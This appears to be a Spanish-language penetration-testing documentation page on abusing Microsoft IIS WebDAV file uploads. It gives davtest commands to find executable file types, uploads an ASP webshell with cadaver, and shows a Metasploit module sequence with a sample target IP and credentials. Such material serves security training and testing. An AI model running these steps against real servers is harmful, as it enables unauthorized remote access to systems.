> For the complete documentation index, see [llms.txt](https://docs.pabloarrabal.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.pabloarrabal.com/explotacion/cms/microsoft-iis-webdav.md).
# Microsoft IIS / WebDAV
## File Upload Abusing
En base a ciertas posibles configuraciones en WebDAV. Con credenciales validas, podremos subir archivos y explotarlos, de esta manera obtendremos acceso a la maquina.
En primer lugar necesitamos saber que tipos de archivos son permitidos subir y ejecutar. Sobre todo nos interesa PHP, ASP, ASPX, JSP. Para comprobar los archivos ejecutables, usaremos la herramienta davtest. En este caso si no hay autenticación:
```bash
davtest -url http://192.168.1.1/webdav
```
Si necesitamos credenciales especificas:
```bash
davtest -auth usuario:contraseña -url http://192.168.1.1/webdav
```
Por lo tanto se suben los archivos:
Y comprueba si se pueden ejecutar:
### Cadaver
Ahora, usaremos la herramienta cadaver para subir y descargar archivos del WebDAV.
Subimos una webshell. Elegimos una escrita en asp:
```bash
/usr/share/webshells/asp/webshell.asp
```
Accedemos:
### Metasploit
Podemos usar metasploit para subir la web shell:
```perl
msfconsole
use exploit/windows/iis/iis_webdav_upload_asp
set RHOSTS 10.0.17.27
set HttpUsername bob
set HttpPassword password_123321
set PATH /webdav/metasploit%RAND%.asp
exploit
```
